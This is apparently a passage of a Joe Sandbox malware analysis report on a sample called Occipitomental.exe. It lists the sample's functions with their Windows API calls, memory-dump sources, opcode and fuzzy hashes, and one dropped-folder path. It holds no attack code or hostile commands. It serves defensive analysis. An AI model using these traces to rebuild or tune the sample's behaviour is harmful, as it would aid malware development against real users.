                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Open
                                                  • String ID:
                                                  • API String ID: 71445658-0
                                                  • Opcode ID: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
                                                  • Instruction ID: 806e3b40af95552ac91145e5354a2e2caa18036cb762c00ee55acc3717e10e35
                                                  • Opcode Fuzzy Hash: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
                                                  • Instruction Fuzzy Hash: D3E04FB6240108AFDB00EFA4DD46FA537ECE714701F008021B608D6091C674E5108B69
                                                  Function 00405A17 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,00000020,?,0040305C,00000000,0040A8D8,00000020,0040A8D8,00000020,000000FF,00000004,00000000), ref: 00405A2B
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: FileWrite
                                                  • String ID:
                                                  • API String ID: 3934441357-0
                                                  • Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
                                                  • Instruction ID: 26d326ee603fa64f849cef49f4367d8274c9975adadc9b0c70b30f96b952ad65
                                                  • Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
                                                  • Instruction Fuzzy Hash: 66E08C3261026AAFDF109EA18C40EEB3B6CEB04360F008432F911E2140D634EC20DFA8
                                                  Function 004059E8 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040308E,00000000,00000000,00402EEB,000000FF,00000004,00000000,00000000,00000000), ref: 004059FC
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: FileRead
                                                  • String ID:
                                                  • API String ID: 2738559852-0
                                                  • Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
                                                  • Instruction ID: a6feee173889208d7f2b164ec0c021529dd17bfe6846c5dde0bbd097d282ac69
                                                  • Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
                                                  • Instruction Fuzzy Hash: 44E08632210219ABCF10AE519C44EEB375CFB00350F004833F915F3140D230E8519FA8
                                                  Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ProtectVirtual
                                                  • String ID:
                                                  • API String ID: 544645111-0
                                                  • Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                  • Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
                                                  • Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                  • Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19
                                                  Function 004022C7 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022FA
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: PrivateProfileString
                                                  • String ID:
                                                  • API String ID: 1096422788-0
                                                  • Opcode ID: 3f00b4a3684e1b502d57278d27361b2c9c5ffa269ab71a706c43388532d59aa2
                                                  • Instruction ID: 0f0d0afc6be0f3d5bf6976507d7aeec6b8dca919a9a5ba2fd125b200ef34e9dc
                                                  • Opcode Fuzzy Hash: 3f00b4a3684e1b502d57278d27361b2c9c5ffa269ab71a706c43388532d59aa2
                                                  • Instruction Fuzzy Hash: D9E08630A04214BFDB20EFA08D09BAE3669BF11714F10403AF9917B0D2EAB889419B1D
                                                  Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: AttributesFile
                                                  • String ID:
                                                  • API String ID: 3188754299-0
                                                  • Opcode ID: e02a9d8b516c0208af0e418204fdeee66a096b4007bb19410b066e2a3e0eb3de
                                                  • Instruction ID: c0e7c3dc5a7dcdb4abcf1ae6b2c94b9daad9c86c1f50bd1ad5aacfe77fb55035
                                                  • Opcode Fuzzy Hash: e02a9d8b516c0208af0e418204fdeee66a096b4007bb19410b066e2a3e0eb3de
                                                  • Instruction Fuzzy Hash: F6D01D77B14100ABDB10DBA49B0895D77A5A750315B304677D201F11D0D679C5559619
                                                  Function 00403091 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,?), ref: 0040309F
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: FilePointer
                                                  • String ID:
                                                  • API String ID: 973152223-0
                                                  • Opcode ID: 5ff25966693df5c3ccda7a99ea4025cbe7cf73b83d997e6322396513365c8623
                                                  • Instruction ID: 8831d3de15784b4579c3d7b303db9b45d0c358e109056f74ce618eb3ecc3c243
                                                  • Opcode Fuzzy Hash: 5ff25966693df5c3ccda7a99ea4025cbe7cf73b83d997e6322396513365c8623
                                                  • Instruction Fuzzy Hash: 74B01231544200BFDB214F00DE05F057B21A790700F10C030B344780F082712460EB5D
                                                  Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • Sleep.KERNELBASE(00000000), ref: 004014E5
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Sleep
                                                  • String ID:
                                                  • API String ID: 3472027048-0
                                                  • Opcode ID: 11a601dc587e9e8ac472c7ecb054ddaf9cbcd7f1852c8a1699f9c6e4d7b6615d
                                                  • Instruction ID: b5296e666e3eb9f388ca1958c901a8d829edbdeddb054b2b363218320e2a312e
                                                  • Opcode Fuzzy Hash: 11a601dc587e9e8ac472c7ecb054ddaf9cbcd7f1852c8a1699f9c6e4d7b6615d
                                                  • Instruction Fuzzy Hash: E7D0C777B145009BD750E7B87E8545A63A9F7513253204933D502F1091D578C9068A69
                                                  Function 10001215 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: AllocGlobal
                                                  • String ID:
                                                  • API String ID: 3761449716-0
                                                  • Opcode ID: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
                                                  • Instruction ID: 35b308b173d9b0532f6cde55f5bface33093279d7ce3c78a2cc6db588f634b90
                                                  • Opcode Fuzzy Hash: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
                                                  • Instruction Fuzzy Hash: 6CA002B1945620DBFE429BE08D9EF1B3B25E748781F01C040E315641BCCA754010DF39

                                                  Non-executed Functions

                                                  Function 00404893 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetDlgItem.USER32(?,000003F9), ref: 004048AB
                                                  • GetDlgItem.USER32(?,00000408), ref: 004048B6
                                                  • GlobalAlloc.KERNEL32(00000040,?), ref: 00404900
                                                  • LoadBitmapA.USER32(0000006E), ref: 00404913
                                                  • SetWindowLongA.USER32(?,000000FC,00404E8A), ref: 0040492C
                                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404940
                                                  • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404952
                                                  • SendMessageA.USER32(?,00001109,00000002), ref: 00404968
                                                  • SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404974
                                                  • SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404986
                                                  • DeleteObject.GDI32(00000000), ref: 00404989
                                                  • SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004049B4
                                                  • SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004049C0
                                                  • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A55
                                                  • SendMessageA.USER32(?,0000110A,?,00000000), ref: 00404A80
                                                  • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A94
                                                  • GetWindowLongA.USER32(?,000000F0), ref: 00404AC3
                                                  • SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404AD1
                                                  • ShowWindow.USER32(?,00000005), ref: 00404AE2
                                                  • SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BDF
                                                  • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C44
                                                  • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C59
                                                  • SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C7D
                                                  • SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C9D
                                                  • ImageList_Destroy.COMCTL32(?), ref: 00404CB2
                                                  • GlobalFree.KERNEL32(?), ref: 00404CC2
                                                  • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D3B
                                                  • SendMessageA.USER32(?,00001102,?,?), ref: 00404DE4
                                                  • SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404DF3
                                                  • InvalidateRect.USER32(?,00000000,?), ref: 00404E13
                                                  • ShowWindow.USER32(?,00000000), ref: 00404E61
                                                  • GetDlgItem.USER32(?,000003FE), ref: 00404E6C
                                                  • ShowWindow.USER32(00000000), ref: 00404E73
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                  • String ID: $M$N
                                                  • API String ID: 1638840714-813528018
                                                  • Opcode ID: a0a371d3bc0d37eaac2b0494861fa113579f48f053280849895514ceddcaca5b
                                                  • Instruction ID: c4f70692a945eeac8c46a5cc4d62b09966a4cf856849f89cf4e80ba5cf8d6073
                                                  • Opcode Fuzzy Hash: a0a371d3bc0d37eaac2b0494861fa113579f48f053280849895514ceddcaca5b
                                                  • Instruction Fuzzy Hash: 0D0250B0A00209AFDB10DF54DC85AAE7BB5FB84315F10817AF611B62E1C7789D42CF58
                                                  Function 00405054 Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetDlgItem.USER32(?,00000403), ref: 004050B3
                                                  • GetDlgItem.USER32(?,000003EE), ref: 004050C2
                                                  • GetClientRect.USER32(?,?), ref: 004050FF
                                                  • GetSystemMetrics.USER32(00000002), ref: 00405106
                                                  • SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405127
                                                  • SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405138
                                                  • SendMessageA.USER32(?,00001001,00000000,?), ref: 0040514B
                                                  • SendMessageA.USER32(?,00001026,00000000,?), ref: 00405159
                                                  • SendMessageA.USER32(?,00001024,00000000,?), ref: 0040516C
                                                  • ShowWindow.USER32(00000000,?,0000001B,?), ref: 0040518E
                                                  • ShowWindow.USER32(?,00000008), ref: 004051A2
                                                  • GetDlgItem.USER32(?,000003EC), ref: 004051C3
                                                  • SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051D3
                                                  • SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051EC
                                                  • SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004051F8
                                                  • GetDlgItem.USER32(?,000003F8), ref: 004050D1
                                                    • Part of subcall function 00403F17: SendMessageA.USER32(00000028,?,?,00403D48), ref: 00403F25
                                                  • GetDlgItem.USER32(?,000003EC), ref: 00405214
                                                  • CreateThread.KERNEL32(00000000,00000000,Function_00004FE8,00000000), ref: 00405222
                                                  • CloseHandle.KERNEL32(00000000), ref: 00405229
                                                  • ShowWindow.USER32(00000000), ref: 0040524C
                                                  • ShowWindow.USER32(?,00000008), ref: 00405253
                                                  • ShowWindow.USER32(00000008), ref: 00405299
                                                  • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052CD
                                                  • CreatePopupMenu.USER32 ref: 004052DE
                                                  • AppendMenuA.USER32(00000000,00000000,?,00000000), ref: 004052F3
                                                  • GetWindowRect.USER32(?,000000FF), ref: 00405313
                                                  • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040532C
                                                  • SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405368
                                                  • OpenClipboard.USER32(00000000), ref: 00405378
                                                  • EmptyClipboard.USER32 ref: 0040537E
                                                  • GlobalAlloc.KERNEL32(00000042,?), ref: 00405387
                                                  • GlobalLock.KERNEL32(00000000), ref: 00405391
                                                  • SendMessageA.USER32(?,0000102D,00000000,?), ref: 004053A5
                                                  • GlobalUnlock.KERNEL32(00000000), ref: 004053BE
                                                  • SetClipboardData.USER32(?,00000000), ref: 004053C9
                                                  • CloseClipboard.USER32 ref: 004053CF
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                  • String ID:
                                                  • API String ID: 590372296-0
                                                  • Opcode ID: eacb0b5078e34519b0b2074ccc2d540f8aaa8b3faa29978f1be8605463375433
                                                  • Instruction ID: a6ff68720be7f0e5d6bf60450920f0594ccff0b83ae89a6b9846e031650dbd60
                                                  • Opcode Fuzzy Hash: eacb0b5078e34519b0b2074ccc2d540f8aaa8b3faa29978f1be8605463375433
                                                  • Instruction Fuzzy Hash: 31A16B71900209BFDB119FA0DD89AAE7B79FB08354F10407AFA01B62A0C7B55E419F69
                                                  Function 00404320 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 274stringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetDlgItem.USER32(?,000003FB), ref: 0040436F
                                                  • SetWindowTextA.USER32(00000000,?), ref: 00404399
                                                  • SHBrowseForFolderA.SHELL32(?,0041F0F8,?), ref: 0040444A
                                                  • CoTaskMemFree.OLE32(00000000), ref: 00404455
                                                  • lstrcmpiA.KERNEL32(Call,0041FD20), ref: 00404487
                                                  • lstrcatA.KERNEL32(?,Call), ref: 00404493
                                                  • SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044A5
                                                    • Part of subcall function 004054D7: GetDlgItemTextA.USER32(?,?,00000400,004044DC), ref: 004054EA
                                                    • Part of subcall function 00405F68: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Occipitomental.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030B4,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 00405FC0
                                                    • Part of subcall function 00405F68: CharNextA.USER32(?,?,?,00000000), ref: 00405FCD
                                                    • Part of subcall function 00405F68: CharNextA.USER32(?,"C:\Users\user\Desktop\Occipitomental.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030B4,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 00405FD2
                                                    • Part of subcall function 00405F68: CharPrevA.USER32(?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030B4,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 00405FE2
                                                  • GetDiskFreeSpaceA.KERNEL32(0041ECF0,?,?,0000040F,?,0041ECF0,0041ECF0,?,?,0041ECF0,?,?,000003FB,?), ref: 00404563
                                                  • MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040457E
                                                    • Part of subcall function 004046D7: lstrlenA.KERNEL32(0041FD20,0041FD20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004045F2,000000DF,00000000,00000400,?), ref: 00404775
                                                    • Part of subcall function 004046D7: wsprintfA.USER32 ref: 0040477D
                                                    • Part of subcall function 004046D7: SetDlgItemTextA.USER32(?,0041FD20), ref: 00404790
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                  • String ID: A$C:\Users\user\AppData\Local\barberknivene\Valonia$Call
                                                  • API String ID: 2624150263-1260949660
                                                  • Opcode ID: 0d3185227b72b593b0c9c2600799bd3f9534f23045c6af8c35ec4ed3e8376118
                                                  • Instruction ID: 52af94dd87b45bde8ff603abcb7252099f64fe51c68325ad3ba2cad582a3dd3a
                                                  • Opcode Fuzzy Hash: 0d3185227b72b593b0c9c2600799bd3f9534f23045c6af8c35ec4ed3e8376118
                                                  • Instruction Fuzzy Hash: A8A18DB1900209ABDB11AFA5DC45BEFB6B8EF84314F14843BF611B62D1D77C8A418B69
                                                  Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                    • Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                  • GlobalAlloc.KERNEL32(00000040,000014A4), ref: 10001B67
                                                  • lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
                                                  • lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
                                                  • GlobalFree.KERNEL32(00000000), ref: 10001BCC
                                                  • GlobalFree.KERNEL32(?), ref: 10001CC4
                                                  • GlobalFree.KERNEL32(?), ref: 10001CC9
                                                  • GlobalFree.KERNEL32(?), ref: 10001CCE
                                                  • GlobalFree.KERNEL32(00000000), ref: 10001E76
                                                  • lstrcpyA.KERNEL32(?,?), ref: 10001FCA
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
